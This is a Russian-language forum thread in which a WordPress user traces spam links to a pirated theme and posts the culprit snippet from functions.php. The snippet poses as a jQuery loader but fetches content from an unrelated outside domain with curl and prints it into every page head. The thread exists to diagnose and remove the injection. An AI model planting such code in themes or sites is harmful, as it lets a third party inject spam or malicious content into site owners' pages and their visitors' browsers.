В других файлах темы. Как минимум, в functions.php
.
смотрел в functions.php прямых ссылок нет да и слов типа Sex Chat тоже нет…
я так понял надо действовать методом исключения.. выключать в functions.php по порядку функции и смотреть какая грузит хлам?
Да, можно. Скорее всего, фрагмент закодирован — поищите вызов eval()
.
Как называется и откуда скачана тема?
да тема качана уже не помню.. где то на торрентах накопал, скорее всего ломаная, могу кинуть в архиве всю тему… искал совпадения слов в файлах.. тоже не находит, наверно грузит с инета.
вот нашел, в файле functions.php убрал и ссылки исчезли
if (!function_exists('insert_head_jquery')){function insert_head_jquery(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_head_jquery');}
я в php не силен, что это за код?
Под видом загрузки jQuery 1.6.3 отправляется запрос на какой-то «левый» сайт (не имеющий отношения ни к WordPress, ни к jQuery).
Недавно видел такой же код, но с доменом j-query.org
, тоже «левым». Официальные ресурсы — jQuery.com и jQuery.org (без дефиса).
Что именно убрал из файла?